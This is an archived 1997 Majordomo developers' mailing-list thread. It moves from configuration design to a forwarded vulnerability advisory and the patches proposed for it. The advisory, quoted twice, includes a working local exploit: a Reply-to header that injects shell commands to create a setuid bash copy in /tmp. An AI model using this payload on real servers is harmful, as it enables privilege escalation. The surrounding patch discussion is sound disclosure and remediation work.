I find this quite aesthetically pleasing. JK> Also, as long as we're doing quibbles ... under 'delivery_rules', one JK> of the variables is named mumbatches (as opposed to numbatches). Is JK> this intentional? Typo. What's next to 'n'? I haven't spellchecked any of that at all. Please feel free to submit patches. Just make a copy (cp file file.orig), edit file all you wish, and make a patch (diff -u file.orig file). Use -c in place of -u if your diff has problems. JK> [...] they can probably be modeled conveniently as objects; but I JK> haven't given that much thought yet (I have seen OO references on this JK> list -- is there someplace where I could find an existing object model JK> in the sources?). The DESIGN file gives something of an object hierarchy. I'm not sure if that's what you're looking for. JK> (2) I am trying to build a "functional" picture of mj for myself, to JK> impose some structure on the documentation task. That makes sense. JK> There are several parties who might take an interest in the config JK> variables. Do you want to just limit this to the config variables, or are you talking about all of the system here? JK> (I have seen OO references on this list -- is there someplace where I JK> could find an existing object model in the sources?). The DESIGN document has (sort of) an object hierarchy; I don't know if this is what you're looking for. JK> At present I can think of the following interested parties -- are there JK> others, or should any of these be collapsed together? Well, it's not quite that simple. The password system allows access to just pieces of the whole system to be granted. JK> list members can see any 'visible' config item, can change nothing JK> list moderators (or groups thereof) are no different than users, except that they get sent consultations containing tokens. The tokens comprise the access mechanism. In essence, they are given one-time passwords bound to a specific and very limited action. JK> list owners/administrators the complexity if the password system comes into play here. I suspect that at many sites the list owners will never get their master_password. JK> Majordomo managers (i.e., administrators of the list space) Who's a manager? Someone who has the GLOBAL master_password? List creators are people with a password capable of carrying out the createlist action. JK> Majordomo implementers (people who might want to hack sources) They can just read the source... There's a group in between the above two who are not yet represented. Those are people who write local extensions supported by a yet-to-be-defined extension interface. JK> mail administrators The system will suggest what they need to do (if all they do is configure aliases or the equivalent). The site manager (or anyone with a global password having 'config_delivery' access) has the moral equivalent of this, because they have the ability to seriously affect Majordomo's (and the rest of the site's) mail delivery functions. JK> (3) My reading of mj_config_data.pl suggests that a fairly good mapping JK> to the categories in (2) can be obtained by inspection of the 'groups' JK> hash key. Is this correct? Well, sort of. Obviously visible/local/global comes into play. The groups are intended to associate variables that have related function, so that they can be easily pulled up together with configshow/configedit and so access to them can be granted with specific passwords. (The latter came about because it's essentially free, code wise. It may turn out that something else is required.) JK> Can the elements of %vars be safely re-ordered, or is order JK> significant? Perl associative arrays do not preserve order. They should probably be alphabetized at some point. The results of a configshow are always sorted alphabetically before presentation. JK> (5) Are there particular keys in %vars that have been the occasion of JK> chronic questions on mj-users? Oh, all of them. Lately it's been 'administrivia' and by association admin_* and taboo_*. Of course, most of this would go away if the consultation messages (which in 1.9x are unfortunately called "bounces") were more explicit. Since approval can be all token-based in 2.0 I think this will be made much easier on folks. I think that in the future it will be digests and delivery_rules that people are most freaked about. mime_rules (not yet defined) will be up there, too. Basically, all of the complex types will cause problems. I could write a book on access_rules. The badly named addr_xforms will give us grief, I'm sure. Heck, I suppose there's plenty of room for confusion in all of the variables. Some of this can be made to go away if a 'novice' variable were introduced. I think that in the end confusion will always be with us, and we'll have to keep improving the docs as people come up with questions. - J< From owner-majordomo-workers-outgoing Mon Aug 25 13:14:01 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA27638 for majordomo-workers-outgoing; Mon, 25 Aug 1997 12:59:05 -0700 (PDT) Received: from hyperreal.org (taz.hyperreal.org [204.62.130.147]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id MAA27628 for ; Mon, 25 Aug 1997 12:58:52 -0700 (PDT) Received: from brianb.organic.com (localhost.hyperreal.com [127.0.0.1]) by hyperreal.org (8.8.5/8.8.5) with SMTP id NAA28391 for ; Mon, 25 Aug 1997 13:02:51 -0700 (PDT) Message-Id: <3.0.3.32.19970825130133.00850890@localhost> X-Sender: brian@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Mon, 25 Aug 1997 13:01:33 -0700 To: majordomo-workers@greatcircle.com From: Brian Behlendorf Subject: [Fwd: BoS: Vulnerability in Majordomo] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Hmm - has everyone else seen this? Is there a patch available for it? Brian >Date: Sun, 24 Aug 1997 15:17:18 +0300 (EET DST) >From: Razvan Dragomirescu >Message-ID: >To: best-of-security@cyber.com.au >Resent-From: best-of-security@cyber.com.au >Subject: BoS: Vulnerability in Majordomo > > >Hello all, > >I have discovered a vulnerablility in "majordomo" that allows local and >remote users to execute commands with the rights of the user running the server. This user is usually in the daemon group, so this can be quite harmful. > >Still, there is a condition for the exploit to work. The server should >have at least one list that uses the "advertise" or "noadvertise" >directives in the configuration files. These directives indicate if the >list should (or should not) be included in a reply to a "LISTS" command >depending on the address the request came from. The exploit also works if >the server has one or more "hidden" lists (see the Majordomo documentation >for details). > >Here's a piece of the configuration file: > >-- lrazvan.config -- > > # advertise [regexp_array] (undef) > # If the requestor email address matches one of these regexps, then > # the list will be listed in the output of a lists command. Failure > # to match any regexp excludes the list from the output. The > # regexps under noadvertise override these regexps. >advertise << END >/.*/ >END >-- end lrazvan.config -- > >The one above tells majordomo to include this list in any "LISTS" request. > >The problem is that when the server finds a list that has one of these >attributes ("advertise" or "noadvertise"), it will try to match the >reply-to address against these patterns. It uses an "eval" command to do this. > >Let's take a look at the PERL source (the do_lists procedure): > >-- majordomo -- >foreach $i (@array) { > $command = "(q~$reply_addr~ =~ $i)"; > $result = 1, last if (eval $command); > } > >-- end majordomo -- > >$reply_addr is the result of some paranoid validation. It cannot contain ><,>,[,],-,+,(,),; etc.. >But with a few tricks, this won't be a problem :). > >Now, for the exploits. There a two of them, one for the local users who >just want a setuid shell (with the rights of the server owner, usually >majordomo.daemon), and one for the remote users who might want to copy >some files or execute commands remotely (the old "mail foo@foo.net < >/etc/passwd" won't work, it contains '<' ...). > >Local exploit: >--exploit-- >telnet localhost 25 > >helo localhost >mail from: user >rcpt to: majordomo (or whatever the name of the majordomo user is) >data >From: user >To: majordomo >Reply-to: a~.`/bin/cp\${IFS}/bin/bash\${IFS}/tmp/lord&&/bin/chmod\${IFS}4777\${IFS}/tm p/lord`.q~a/ad=cucu/c=blu\\\@kappa.ro > >LISTS > > > > --=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-- "Why not?" - TL brian@organic.com - hyperreal.org - apache.org From owner-majordomo-workers-outgoing Tue Aug 26 01:28:41 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id BAA05556 for majordomo-workers-outgoing; Tue, 26 Aug 1997 01:21:54 -0700 (PDT) Received: from frege.math.ethz.ch (frege-d-math-north-g-west.math.ethz.ch [129.132.145.3]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with SMTP id BAA05526 for ; Tue, 26 Aug 1997 01:21:33 -0700 (PDT) Received: from thales.math.ethz.ch (bollow@thales [129.132.147.3]) by frege.math.ethz.ch (8.6.12/Main-STAT-mailer) with ESMTP id KAA25154; Tue, 26 Aug 1997 10:25:44 +0200 Received: (bollow@localhost) by thales.math.ethz.ch (8.6.9/D-MATH-client) id KAA09808; Tue, 26 Aug 1997 10:25:43 +0200 Date: Tue, 26 Aug 1997 10:25:43 +0200 Message-Id: <199708260825.KAA09808@thales.math.ethz.ch> From: Norbert Bollow To: brian@organic.com CC: majordomo-workers@GreatCircle.COM In-reply-to: <3.0.3.32.19970825130133.00850890@localhost> (message from Brian Behlendorf on Mon, 25 Aug 1997 13:01:33 -0700) Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk > Hmm - has everyone else seen this? Is there a patch available for it? > > Brian Here's a quick patch; it's not very sophisticated but it'll do for the moment. -- Norbert. *** majordomo.bak Fri Aug 22 16:50:23 1997 --- majordomo Tue Aug 26 10:20:50 1997 *************** *** 1368,1373 **** --- 1368,1379 ---- local($command_advert, $command_noadvert); local($reply_addr) = &ParseAddrs($reply_to); + #Fix a security hole in the eval below + if ($reply_addr =~ /\`|\/|\$|\{|\}|\&/) { + &abort("Possible HOSTILE ADDRESS: lists command from $reply_addr\n + Full headers of the suspicious message follow:\n\n$hdrs"); + } + select((select(REPLY), $| = 1)[0]); print REPLY "$whoami serves the following lists:\n\n"; > > >Date: Sun, 24 Aug 1997 15:17:18 +0300 (EET DST) > >From: Razvan Dragomirescu > >Message-ID: > >To: best-of-security@cyber.com.au > >Resent-From: best-of-security@cyber.com.au > >Subject: BoS: Vulnerability in Majordomo > > > > > >Hello all, > > > >I have discovered a vulnerablility in "majordomo" that allows local and > >remote users to execute commands with the rights of the user running the > server. This user is usually in the daemon group, so this can be quite > harmful. > > > >Still, there is a condition for the exploit to work. The server should > >have at least one list that uses the "advertise" or "noadvertise" > >directives in the configuration files. These directives indicate if the > >list should (or should not) be included in a reply to a "LISTS" command > >depending on the address the request came from. The exploit also works if > >the server has one or more "hidden" lists (see the Majordomo documentation > >for details). > > > >Here's a piece of the configuration file: > > > >-- lrazvan.config -- > > > > # advertise [regexp_array] (undef) > > # If the requestor email address matches one of these regexps, then > > # the list will be listed in the output of a lists command. Failure > > # to match any regexp excludes the list from the output. The > > # regexps under noadvertise override these regexps. > >advertise << END > >/.*/ > >END > >-- end lrazvan.config -- > > > >The one above tells majordomo to include this list in any "LISTS" request. > > > >The problem is that when the server finds a list that has one of these > >attributes ("advertise" or "noadvertise"), it will try to match the > >reply-to address against these patterns. It uses an "eval" command to do > this. > > > >Let's take a look at the PERL source (the do_lists procedure): > > > >-- majordomo -- > >foreach $i (@array) { > > $command = "(q~$reply_addr~ =~ $i)"; > > $result = 1, last if (eval $command); > > } > > > >-- end majordomo -- > > > >$reply_addr is the result of some paranoid validation. It cannot contain > ><,>,[,],-,+,(,),; etc.. > >But with a few tricks, this won't be a problem :). > > > >Now, for the exploits. There a two of them, one for the local users who > >just want a setuid shell (with the rights of the server owner, usually > >majordomo.daemon), and one for the remote users who might want to copy > >some files or execute commands remotely (the old "mail foo@foo.net < > >/etc/passwd" won't work, it contains '<' ...). > > > >Local exploit: > >--exploit-- > >telnet localhost 25 > > > >helo localhost > >mail from: user > >rcpt to: majordomo (or whatever the name of the majordomo user is) > >data > >From: user > >To: majordomo > >Reply-to: > a~.`/bin/cp\${IFS}/bin/bash\${IFS}/tmp/lord&&/bin/chmod\${IFS}4777\${IFS}/tm > p/lord`.q~a/ad=cucu/c=blu\\\@kappa.ro > > > >LISTS > > > > > > > > > --=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-- > "Why not?" - TL brian@organic.com - hyperreal.org - apache.org > > From owner-majordomo-workers-outgoing Tue Aug 26 06:43:39 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA04733 for majordomo-workers-outgoing; Tue, 26 Aug 1997 06:33:18 -0700 (PDT) Received: from ftp.ee.vill.edu (ftp.ee.vill.edu [153.104.63.21]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id GAA04725 for ; Tue, 26 Aug 1997 06:33:11 -0700 (PDT) Received: (from perry@localhost) by ftp.ee.vill.edu (8.8.7/8.8.2) id JAA28882; Tue, 26 Aug 1997 09:37:38 -0400 (EDT) To: majordomo-workers@greatcircle.com Path: not-for-mail From: perry@news.vill.edu (Rick Perry) Newsgroups: vill.majordomo-workers Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] Date: 26 Aug 1997 09:37:38 -0400 Organization: Villanova University Lines: 26 Message-ID: <5tum72$s6f@ftp.ee.vill.edu> References: <5tu4qu$mne@ftp.ee.vill.edu> X-Newsreader: NN version 6.5.0 CURRENT #2 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Norbert Bollow writes: >Here's a quick patch; it's not very sophisticated but it'll do for the >moment. -- Norbert. >*** majordomo.bak Fri Aug 22 16:50:23 1997 >--- majordomo Tue Aug 26 10:20:50 1997 >*************** >*** 1368,1373 **** >--- 1368,1379 ---- > local($command_advert, $command_noadvert); > local($reply_addr) = &ParseAddrs($reply_to); > >+ #Fix a security hole in the eval below >+ if ($reply_addr =~ /\`|\/|\$|\{|\}|\&/) { >+ &abort("Possible HOSTILE ADDRESS: lists command from $reply_addr\n >+ Full headers of the suspicious message follow:\n\n$hdrs"); >+ } >+ It's better to be more paranoid about it, specifying what chars are allowed instead of (a possible subset of) those which are bad: if( $reply_addr !~ /^[a-zA-Z0-9_\-+@%\.]+$/) { ...Rick perry@ece.vill.edu, http://www.ece.vill.edu/~perry [PGP] From owner-majordomo-workers-outgoing Tue Aug 26 07:59:48 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA11392 for majordomo-workers-outgoing; Tue, 26 Aug 1997 07:48:31 -0700 (PDT) Received: from spsem02.sps.mot.com ([192.70.231.5]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with SMTP id HAA11378 for ; Tue, 26 Aug 1997 07:48:25 -0700 (PDT) Received: from mogate.sps.mot.com by spsem02.sps.mot.com (4.1/SMI-4.1/Email 2.1 10/25/93) id AA08833 for majordomo-workers@greatcircle.com; Tue, 26 Aug 97 07:52:47 MST Received: from nombre.risc.sps.mot.com by mogate.sps.mot.com (4.1/SMI-4.1/Email-2.0) id AA00953 for nb@pobox.com; Tue, 26 Aug 97 07:52:46 MST Received: from miaow.risc.sps.mot.com (miaow.risc.sps.mot.com [223.72.249.15]) by nombre.risc.sps.mot.com (8.8.7/8.8.7) with ESMTP id JAA12116; Tue, 26 Aug 1997 09:52:44 -0500 (CDT) Received: (from dwolfe@localhost) by miaow.risc.sps.mot.com (8.7.1/8.7.3) id JAA14616; Tue, 26 Aug 1997 09:52:43 -0500 From: Dave Wolfe Message-Id: <199708261452.JAA14616@miaow.risc.sps.mot.com> Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] To: perry@news.vill.edu (Rick Perry) Date: Tue, 26 Aug 1997 09:52:43 -0500 (CDT) Cc: majordomo-workers@greatcircle.com, brian@organic.com, nb@pobox.com In-Reply-To: <5tum72$s6f@ftp.ee.vill.edu> from "Rick Perry" at Aug 26, 97 09:37:38 am Reply-To: Dave Wolfe X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk [ Rick Perry writes: ] > > Norbert Bollow writes: > >Here's a quick patch; it's not very sophisticated but it'll do for the > >moment. -- Norbert. [deleted] > > It's better to be more paranoid about it, specifying what chars are allowed > instead of (a possible subset of) those which are bad: > [deleted] Both of which disallow perfectly valid characters from reply addresses. This is the wrong approach. It's simpler to just change the quoting delimiter that's the basis of the attack. I think that ASCII control characters (0x00 .. 0x1f) are invalid in e-mail addresses, but can anyone confirm this? If so, I have a simple fix. If they are valid, I have a slightly more complicated fix. -- Dave Wolfe From owner-majordomo-workers-outgoing Tue Aug 26 08:59:40 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA20909 for majordomo-workers-outgoing; Tue, 26 Aug 1997 08:49:04 -0700 (PDT) Received: from windlord.stanford.edu (windlord.Stanford.EDU [36.21.0.44]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with SMTP id IAA20870 for ; Tue, 26 Aug 1997 08:48:43 -0700 (PDT) Received: (qmail 6734 invoked by uid 500); 26 Aug 1997 15:52:55 -0000 To: majordomo-workers@greatcircle.com Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] References: <3.0.3.32.19970825130133.00850890@localhost> From: Russ Allbery In-Reply-To: Brian Behlendorf's message of Mon, 25 Aug 1997 13:01:33 -0700 Date: 26 Aug 1997 08:52:55 -0700 Message-ID: Lines: 29 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Brian Behlendorf writes: >> foreach $i (@array) { >> $command = "(q~$reply_addr~ =~ $i)"; >> $result = 1, last if (eval $command); >> } Why isn't this just: foreach $i (@array) { ($regex) = ($i =~ m%^/(.*)/$%); $result = 1, last if ($reply_addr =~ /$regex/); } and skip the need for the eval in the first place? eval is evil and should be avoided where possible. This will cause majordomo to blow major chunks if the provided regex is invalid, but that's at least semi-trusted data. Under Perl 5, you could just use: eval { $result = 1, last if ($reply_addr =~ /$regex/) }; using the error catching form of eval (which is totally different than a string eval) and then check $@, but I'm not sure if this works under Perl 4. -- Russ Allbery (rra@stanford.edu) From owner-majordomo-workers-outgoing Tue Aug 26 10:29:02 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA04507 for majordomo-workers-outgoing; Tue, 26 Aug 1997 10:12:55 -0700 (PDT) Received: from windlord.stanford.edu (windlord.Stanford.EDU [36.21.0.44]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with SMTP id KAA04437 for ; Tue, 26 Aug 1997 10:12:36 -0700 (PDT) Received: (qmail 7001 invoked by uid 500); 26 Aug 1997 17:17:00 -0000 To: majordomo-workers@greatcircle.com Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] References: <199708261707.MAA21680@miaow.risc.sps.mot.com> From: Russ Allbery In-Reply-To: Dave Wolfe's message of Tue, 26 Aug 1997 12:07:33 -0500 (CDT) Date: 26 Aug 1997 10:17:00 -0700 Message-ID: Lines: 48 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Dave Wolfe writes: > [ Russ Allbery writes: ] >> Brian Behlendorf writes: >>>> foreach $i (@array) { >>>> $command = "(q~$reply_addr~ =~ $i)"; >>>> $result = 1, last if (eval $command); >>>> } >> Why isn't this just: >> foreach $i (@array) { >> ($regex) = ($i =~ m%^/(.*)/$%); >> $result = 1, last if ($reply_addr =~ /$regex/); >> } >> and skip the need for the eval in the first place? > Right idea but would require a lot of changes. Right. Hence the question; I don't know enough about majordomo's source to really have that informed of an opinion on a fix. > First off, there's no assurance that '/' is the delimiter on the > regex. grab_regexp_array() could just save without the delimiters, but > this isn't the only place where regexes are used in > configuration. Changing the fields to not specify delimiters is out of > the question. > Then there's the problem with regex modifiers, e.g. //i. '(?' could fill > in with Perl 5, but 1.9x is still committed to Perl 4 compatibility. Okay. In that case, I think the most obvious patch to the current behavior is: foreach $i (@array) { $tmp_reply_addr = $reply_addr; $tmp_reply_addr =~ tr/~//d; $tmp_reply_addr =~ s/\\$//; $command = "(q~$tmp_reply_addr~ =~ $i)"; $result = 1, last if (eval $command); } This has the advantage of being nigh-minimal impact and should, as far as I can tell, resolve the security problem entirely. -- Russ Allbery (rra@stanford.edu) From owner-majordomo-workers-outgoing Tue Aug 26 10:43:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA03352 for majordomo-workers-outgoing; Tue, 26 Aug 1997 10:05:40 -0700 (PDT) Received: from spsem02.sps.mot.com ([192.70.231.5]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with SMTP id KAA03292 for ; Tue, 26 Aug 1997 10:05:12 -0700 (PDT) Received: from mogate.sps.mot.com by spsem02.sps.mot.com (4.1/SMI-4.1/Email 2.1 10/25/93) id AA24549 for majordomo-workers@greatcircle.com; Tue, 26 Aug 97 10:09:33 MST Received: from nombre.risc.sps.mot.com by mogate.sps.mot.com (4.1/SMI-4.1/Email-2.0) id AA07802 for majordomo-workers@greatcircle.com; Tue, 26 Aug 97 10:09:08 MST Received: from miaow.risc.sps.mot.com (miaow.risc.sps.mot.com [223.72.249.15]) by nombre.risc.sps.mot.com (8.8.7/8.8.7) with ESMTP id MAA13235; Tue, 26 Aug 1997 12:09:06 -0500 (CDT) Received: (from dwolfe@localhost) by miaow.risc.sps.mot.com (8.7.1/8.7.3) id MAA21680; Tue, 26 Aug 1997 12:07:33 -0500 From: Dave Wolfe Message-Id: <199708261707.MAA21680@miaow.risc.sps.mot.com> Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] To: rra@stanford.edu (Russ Allbery) Date: Tue, 26 Aug 1997 12:07:33 -0500 (CDT) Cc: majordomo-workers@greatcircle.com In-Reply-To: from "Russ Allbery" at Aug 26, 97 08:52:55 am Reply-To: Dave Wolfe X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk [ Russ Allbery writes: ] > > Brian Behlendorf writes: > > >> foreach $i (@array) { > >> $command = "(q~$reply_addr~ =~ $i)"; > >> $result = 1, last if (eval $command); > >> } > > Why isn't this just: > > foreach $i (@array) { > ($regex) = ($i =~ m%^/(.*)/$%); > $result = 1, last if ($reply_addr =~ /$regex/); > } > > and skip the need for the eval in the first place? Right idea but would require a lot of changes. First off, there's no assurance that '/' is the delimiter on the regex. grab_regexp_array() could just save without the delimiters, but this isn't the only place where regexes are used in configuration. Changing the fields to not specify delimiters is out of the question. Then there's the problem with regex modifiers, e.g. //i. '(?' could fill in with Perl 5, but 1.9x is still committed to Perl 4 compatibility. -- Dave Wolfe From owner-majordomo-workers-outgoing Tue Aug 26 11:29:35 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA12997 for majordomo-workers-outgoing; Tue, 26 Aug 1997 11:10:15 -0700 (PDT) Received: from spsem02.sps.mot.com ([192.70.231.5]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with SMTP id LAA12932 for ; Tue, 26 Aug 1997 11:09:48 -0700 (PDT) Received: from mogate.sps.mot.com by spsem02.sps.mot.com (4.1/SMI-4.1/Email 2.1 10/25/93) id AA01013 for rra@stanford.edu; Tue, 26 Aug 97 11:09:12 MST Received: from nombre.risc.sps.mot.com by mogate.sps.mot.com (4.1/SMI-4.1/Email-2.0) id AA10434 for majordomo-workers@greatcircle.com; Tue, 26 Aug 97 11:09:09 MST Received: from miaow.risc.sps.mot.com (miaow.risc.sps.mot.com [223.72.249.15]) by nombre.risc.sps.mot.com (8.8.7/8.8.7) with ESMTP id NAA13570; Tue, 26 Aug 1997 13:09:07 -0500 (CDT) Received: (from dwolfe@localhost) by miaow.risc.sps.mot.com (8.7.1/8.7.3) id MAA21706; Tue, 26 Aug 1997 12:52:35 -0500 From: Dave Wolfe Message-Id: <199708261752.MAA21706@miaow.risc.sps.mot.com> Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] To: rra@stanford.edu (Russ Allbery) Date: Tue, 26 Aug 1997 12:52:35 -0500 (CDT) Cc: majordomo-workers@greatcircle.com In-Reply-To: from "Russ Allbery" at Aug 26, 97 10:17:00 am X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk [ Russ Allbery writes: ] > > Okay. In that case, I think the most obvious patch to the current > behavior is: > [deleted] > > This has the advantage of being nigh-minimal impact and should, as far as > I can tell, resolve the security problem entirely. But still diddles the return address, possibly invalidating a perfectly valid address. Be patient. I'm testing a very simple fix that I think has no impact except to remove the vulnerability. -- Dave Wolfe From owner-majordomo-workers-outgoing Tue Aug 26 11:43:38 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA16164 for majordomo-workers-outgoing; Tue, 26 Aug 1997 11:37:28 -0700 (PDT) Received: from spsem02.sps.mot.com ([192.70.231.5]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with SMTP id LAA16152 for ; Tue, 26 Aug 1997 11:37:21 -0700 (PDT) Received: from mogate.sps.mot.com by spsem02.sps.mot.com (4.1/SMI-4.1/Email 2.1 10/25/93) id AA03687 for majordomo-workers@greatcircle.com; Tue, 26 Aug 97 11:39:09 MST Received: from risc.risc.sps.mot.com (risc.sps.mot.com) by mogate.sps.mot.com (4.1/SMI-4.1/Email-2.0) id AA11688 for cwilson@slurp.neu.sgi.com; Tue, 26 Aug 97 11:39:07 MST Received: from miaow.risc.sps.mot.com (miaow.risc.sps.mot.com [223.72.249.15]) by risc.risc.sps.mot.com (8.8.7/8.8.7) with ESMTP id NAA28542; Tue, 26 Aug 1997 13:39:06 -0500 (CDT) Received: (from dwolfe@localhost) by miaow.risc.sps.mot.com (8.7.1/8.7.3) id NAA14454; Tue, 26 Aug 1997 13:35:56 -0500 From: Dave Wolfe Message-Id: <199708261835.NAA14454@miaow.risc.sps.mot.com> Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] To: majordomo-workers@greatcircle.com (Majordomo developer's mailing list) Date: Tue, 26 Aug 1997 13:35:56 -0500 (CDT) Cc: brian@organic.com, nb@pobox.com, perry@news.vill.edu, rra@stanford.edu, majordomo-patches@cloud.ccsf.cc.ca.us (Majordomo patches), cwilson@slurp.neu.sgi.com (Chan Wilson) Reply-To: Dave Wolfe X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk > >Date: Sun, 24 Aug 1997 15:17:18 +0300 (EET DST) > >From: Razvan Dragomirescu > > > >I have discovered a vulnerablility in "majordomo" that allows local and > >remote users to execute commands with the rights of the user running the > server. The root cause of the problem is that the reply address is used within an eval() in the do_lists() function of majordomo. Very bad. The simple solution is to not do that. If the reply address is never eval'ed, it doesn't matter what trojans it contains, they never get executed. No valid address characters are removed or disallowed either. Note that the advertise/noadvertise regexes have already been checked for validity and trojans by grab_regexp_array(). This patch is against the distributed 1.94.3. If you've applied other patches to the majordomo file, line numbering may be off. As always, apply and use at your own risk. --- majordomo.orig Sun Apr 20 11:11:49 1997 +++ majordomo Tue Aug 26 13:00:32 1997 @@ -1190,7 +1190,6 @@ sub do_lists { # Tell the requester what lists we serve local($list); - local($command_advert, $command_noadvert); local($reply_addr) = &ParseAddrs($reply_to); select((select(REPLY), $| = 1)[0]); @@ -1212,16 +1211,14 @@ if ( ($'config_opts{$list, 'advertise'} ne '') || ($'config_opts{$list, 'noadvertise'} ne '') ) { - local(@array) = (); - local($i, $command, $result) = (); - $reply_addr =~ s/\@/\\\@/g; - $result = 0; + local(@array, $i); + local($result) = 0; + local($_) = $reply_addr; if ($'config_opts{$list, 'advertise'} ne '') { @array = split(/\001/,$'config_opts{$list, 'advertise'}); foreach $i (@array) { - $command = "(q~$reply_addr~ =~ $i)"; - $result = 1, last if (eval $command); + $result = 1, last if (eval $i); # Expects $_ = $reply_addr } } else { $result = 1; } @@ -1230,9 +1227,7 @@ @array = split(/\001/,$'config_opts{$list, 'noadvertise'}); foreach $i (@array) { - $command = "(q~$reply_addr~ =~ $i)"; - print STDERR "do_lists: noadvertise execing $command\n" if $DEBUG; - $result = 0, last if (eval $command); + $result = 0, last if (eval $i); # Expects $_ = $reply_addr } } -- Dave Wolfe From owner-majordomo-workers-outgoing Tue Aug 26 11:58:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA18570 for majordomo-workers-outgoing; Tue, 26 Aug 1997 11:53:00 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id LAA18510 for ; Tue, 26 Aug 1997 11:52:45 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id NAA22470; Tue, 26 Aug 1997 13:57:19 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] References: <199708261752.MAA21706@miaow.risc.sps.mot.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 26 Aug 1997 13:57:19 -0500 In-Reply-To: Dave Wolfe's message of Tue, 26 Aug 1997 12:52:35 -0500 (CDT) Message-ID: Lines: 15 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "DW" == Dave Wolfe writes: DW> But still diddles the return address, possibly invalidating a perfectly DW> valid address. Be patient. I'm testing a very simple fix that I think DW> has no impact except to remove the vulnerability. No, it doesn't. The address is only used for the comparison, not for sending mail. You can mangle it as you wish. The patch I sent to majordomo-users two days ago also wipes %ENV (which is used in the attack) and lops off the username. Perhaps that's too paranoid, but I don't think most people match against anything but the domain. - J< From owner-majordomo-workers-outgoing Tue Aug 26 12:00:33 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA18094 for majordomo-workers-outgoing; Tue, 26 Aug 1997 11:50:19 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id LAA18083 for ; Tue, 26 Aug 1997 11:50:13 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id NAA22433; Tue, 26 Aug 1997 13:54:46 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] References: <199708261452.JAA14616@miaow.risc.sps.mot.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 26 Aug 1997 13:54:45 -0500 In-Reply-To: Dave Wolfe's message of Tue, 26 Aug 1997 09:52:43 -0500 (CDT) Message-ID: Lines: 26 X-Mailer: 